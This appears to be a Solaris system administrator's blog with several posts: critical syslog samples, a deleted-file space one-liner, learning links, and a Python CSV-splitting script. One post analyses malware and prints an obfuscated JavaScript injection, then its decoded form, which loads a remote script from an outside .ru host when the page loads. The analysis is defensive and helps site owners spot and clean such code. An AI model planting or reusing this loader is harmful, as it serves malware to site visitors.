Sample Critical Syslog

I implemented a central syslog server for my customer and below is a list of critical syslog output that may cause production impact if we do not deal with it immediately. Auto-SMS alert has been in place to inform the staff if any of these messages appear in the syslog.

Aug 30 12:07:27 uxhost1 lpfc: [ID 728700 kern.warning] WARNING: lpfc1:1305:LKe:Link Down Event x2 received Data: x2 x20 x48
Dec 29 13:33:47 uxhost1 rmclomv: [ID 974757 kern.error] PSU @ PS1 has FAILED.
Jun 17 08:16:11 uxhost2 savecore: [ID 570001 auth.error] reboot after panic: BAD TRAP: type=9 rp=2a1036c9280 addr =0 mmu_fsr=0
Dec 30 07:50:03 uxhost1 picld[104]: [ID 498155 daemon.error] Device PS0 AC UNAVAILABLE
Jun 17 08:16:11 uxhost8 savecore: [ID 748169 auth.error] saving system crash dump in /var/crash/uxhost8/*.0
Jan  2 19:00:34 uxhost3 vxvm:vxconfigd: [ID 594842 daemon.error] V-5-1-8645 Error in claiming /dev/rdsk/c8t16d0s2 by NR list: I/O error
Jul 23 23:08:21 uxhost8 fmd: [ID 441519 daemon.error] SUNW-MSG-ID: SUN4U-8000-XJ, TYPE: Fault, VER: 1, SEVERITY: Major
Apr 16 18:12:36 uxhost5 fmd: [ID 441519 daemon.error] SUNW-MSG-ID: PCIEX-8000-3S, TYPE: Fault, VER: 1, SEVERITY: Critical
Dec  9 06:55:05 uxhost7 @BINDIR@/ssh[10258]: [ID 800047 user.crit] fatal Disconnected: Protocol error (Too many authentication failures for myuser)
Jan  3 11:06:53 uxhost5 sshd2[7473]: [ID 702911 auth.error] auths-pam: PAM subprocess returned packet SSH_PAM_OP_ERROR. (err_num: 9, err_msg: Authent
ication failed).
Dec 17 19:47:48 uxhost2 sshd2[13338]: [ID 702911 auth.error] FATAL ERROR: Forced command `/usr/bin/passwd' exited uncleanly, closing connection.
Dec 19 15:52:24 uxhost8 DESC: A ZFS device failed.  Refer to http://sun.com/msg/ZFS-8000-D3 for more information.
Dec 19 15:52:24 uxhost8 REC-ACTION: Run 'zpool status -x' and replace the bad device.
Jul 28 16:19:21 uxhost1 ufs: [ID 845546 kern.notice] NOTICE: alloc: /app: file system full
Jul 28 16:19:17 uxhost1 ufs: [ID 213553 kern.notice] NOTICE: realloccg /app: file system full
Oct 23 06:30:12 uxhost1 root: [ID 702911 daemon.alert] Hard limit exceeded on all filesystems. (count=1215)
Oct 23 10:28:38 uxhost1 root: [ID 702911 daemon.alert] The audit_warn mail alias is not defined
Feb 16 14:50:39 uxhost8 lw8: [ID 792743 kern.error] /N0/SB2 reported ECC error

Link Count Of Zero

Met up with some clever guys yesterday and they made me think how Solaris treat deleted files which are still open. We know that if we hard link files in the same file system, it will increment the link count. Do you know that if you delete an open file (with link count of 1), the link count will be become zero (decrement by one). Since the file handler is still open, the kernel will not release those space occupied by the file. So, if you were to do a ls -al, you will see the link count of zero.

To efficiently finding how much space has been taken up by these deleted open files, the below one-liner is able to extract that from find and summaries it by AWK. Here is the output from one of my systems.

# find /proc/*/fd -type f -links 0 -ls | awk '{s+=$7}END{print s}'
159783

This link explained very clearly how the situation come about.

Started A New Blog As Bookmark

Do visit my new blog at Yet Another Link Link, just a place to keep my links

Papers from Web 2.0 Security and Privacy 2010

Bruce Schneier posted Detecting Browser History. It also linked to one of the papers.

If you are interested in finding out all the papers in this conference, I blogged about how to use google. Here is the search string
site:w2spconf.com inurl:2010 inurl:papers filetype:pdf

Or this direct link. I found 14 of them.

Enjoy

Malware Attack, Reply Comment

I refer to the recent comment from my previous malware attack posted 1.5 years ago. Basically the obscure script carried out a lot of substitutions to avoid any firewall filter.

Below is a sample my friend sent me 3 months ago.

/*GNU GPL*/ try{window.onload = function(){var Qq73s8yh02ptue2rq = document.createElement('s&(^c@#r$^i(@)p&@t($&'.replace(/#|\!|\(|&|@|\$|\

^|\)/ig, ''));Qq73s8yh02ptue2rq.setAttribute('type',
'text/javascript');Qq73s8yh02ptue2rq.setAttribute('src',
'h!!t(#(t#)^p(^!(:&$/$$$/$@)&h!^c&3$6^))#^0&-@!&c!o$()m&^&.))g(l^((o)b&$
#e&!)@7#^.!(c)##)o@)m#^.(@$k#(&)i^n$)#o^^@(-#)&$t@@^o)!.!@$^v)&i!@)e^#w&
h$&o&&m)((e#s)$!a@$l^^e).$(r)^&u(:(((!8&^@0!!8)))0^/#!)f#@r!i&&!)e$n&d&f
!$e&#e)$d)^.!c(^o)()^m^/@$f#(^!r#^@&@i(^e&n@(&(d$!f&!#e#!e@@$#@d).^!c#^^
^o^@!!m)($/$b!l#u^^$^e&$@@#h@^o))&!s#@$$t&#.@@@c)^(&o@m()^/$(^v^^$#e#o$#
h)(&.^$@c)(o^$)$m&/#g(!^o^^o!(^g@!&l!^#!^e&.&@c)!o)@&m!/(#!^^'.replace(/
\$|\(|@|\!|\)|#|\^|&/ig, ''));Qq73s8yh02ptue2rq.setAttribute('defer',
'defer');Qq73s8yh02ptue2rq.setAttribute('id',
'U&!^(y&$2(#3^9#^b)$$x^#k#^@9##)5(&t#@'.replace(/&|\!|\)|\^|\(|\$|@|#/ig
, ''));document.body.appendChild(Qq73s8yh02ptue2rq);}} catch(e) {} 

After ran through the browser JavaScript interpreter, you will get the below. It will dynamically create a <script> element which will be load up automatically.

/*GNU GPL*/ try{window.onload = function(){
 var Qq73s8yh02ptue2rq = document.createElement('script'));
 Qq73s8yh02ptue2rq.setAttribute('type','text/javascript');
 Qq73s8yh02ptue2rq.setAttribute('src','http://hc360-com.globe7.com.kino-to.viewhomesale.ru:8080/friendfeed.com/friendfeed.com/bluehost.com/veoh.com/google.com/'));
 Qq73s8yh02ptue2rq.setAttribute('defer','defer');
 Qq73s8yh02ptue2rq.setAttribute('id','Uy239bxk95t');
 document.body.appendChild(doc);}
} catch(e) {} 

If your html/js appear to have any window.onload which does not belong to your own stuff, you can apply the same trick by running 'sed' to clean it up.

Wanna Learn Python ?

Found these python class videos. Sure it will start to tickle your interest in learning python. Enjoy !

Google Python Class Day 1

1. Introduction and Strings
2. Lists, Sorting, and Tuples
3. Dicts and Files

Google Python Class Day 2

1. Regular Expressions
2. Utilities: OS and Commands
3. Utilities: URLs and HTTP, Exceptions
4. Closing Thoughts

Google Code University

Stumbled upon the Google Code University web site. Topics include

• AJAX Programming
• Algorithms
• Android Programming
• Distributed Systems
• Web Security
• Languages - Python, C++, Go, Java (with videos)
• Tools 101
  • Introduction to Databases and MySQL
  • Software Configuration Management
  • Linux
    • Basic Linux Commands
    • Linux Ownership and Permissions
    • ext Processing with Grep
• CS Resources
  • Discrete Mathematics
  • Introductory Programming
  • Data Structures and Algorithms
  • Operating Systems, Concurrency
  • Distributed Systems
  • Automata and Formal Languages
  • Web Security
  • Computer Graphics

This one is also very interesting, Web Application Exploits and Defenses

Splitting CSV

Today my colleague was asking me whether I can assist to split a csv file with millions of lines into individual csv files based on the user name appeared in column 2.

My initial solution was a two-pass approach using shell script and AWK. First pass to find out all the unique names and second pass to extract the records that matches the unique name. That means I have to parse the original csv files many times and that make the solution very inefficient. I do encounter this type of request every now and then, therefore I decided to come up with a better solution in just 1 parse.

I used Python CSV module before and I believe it will be the right tool.

Here is the python script that will split into separate csv files based on the name in column 2:

$ cat a.py
#! /usr/bin/python


import os, sys, csv, re


if len(sys.argv) != 2:
        sys.stderr.write('Usage: %s csv-file\n' % sys.argv[0] )
        sys.exit(1)
csvfile = sys.argv[1]


if not os.path.exists( csvfile ):
        sys.stderr.write( 'Error: "%s" file does not\n' % csvfile )
        sys.exit(2)


#
# keep track of file handler and csv writer
#
name2fp = dict()
name2writer = dict()


for line in csv.reader(open(csvfile, 'rb')):

        #
        # safe name to avoid problem
        #
        safename = line[1].strip()
        safename = re.sub('[ ]', '_', safename)
        safename = re.sub(os.path.sep, ',', safename)
        safename = re.sub('[^a-zA-Z_.,()-]+', '', safename)

        # create file handler and csv writer if not exist
        if not safename in name2fp:
                outfile = "%s.%s" % (safename, csvfile)
                name2fp[safename] = open( outfile, 'wb' )
                name2writer[safename] = csv.writer( name2fp[safename] )

        name2writer[safename].writerow(line)


for safename in name2fp:
        name2fp[safename].close()

Here is a listing of the corresponding csv files and some command output to verify the task.

$ cat a.csv
gdz-u-01,"Chan Chi Hung",20,43
cld-d-01,"Chan Chi Hung",22,41
gdz-u-02,"Chi Hung",53,30
gdz-u-01,"Chan Chi Hung",20,43
cld-p-01,"Chan Chi Hung",21,42
gri-d-01,"Chi Hung",52,31
gdz-u-02,"Chan Chi Hung",23,40
gdz-u-01,"Chan Chi Hung",20,43
cld-p-01,"Chi Hung",51,32
cld-d-01,"Chi Hung",52,31
gdz-u-02,"Chan Chi Hung",23,40
gdz-u-01,"CH Chan/Chi Hung",90,93
cld-p-01,"Chan Chi Hung",21,42
gri-d-01,"CH Chan",92,91
zld-p-09,"Chan Chi Hung",21,42

$ ./a.py a.csv

$ ls
CH_Chan,Chi_Hung.a.csv  Chan_Chi_Hung.a.csv  a.csv
CH_Chan.a.csv           Chi_Hung.a.csv       a.py

$ wc -l *csv
  1 CH_Chan,Chi_Hung.a.csv
  1 CH_Chan.a.csv
  9 Chan_Chi_Hung.a.csv
  4 Chi_Hung.a.csv
 15 a.csv
 30 total

Solaris Storage in Video

Solaris Storage in Video covers ZFS, Solaris storage stack and hardware & platform.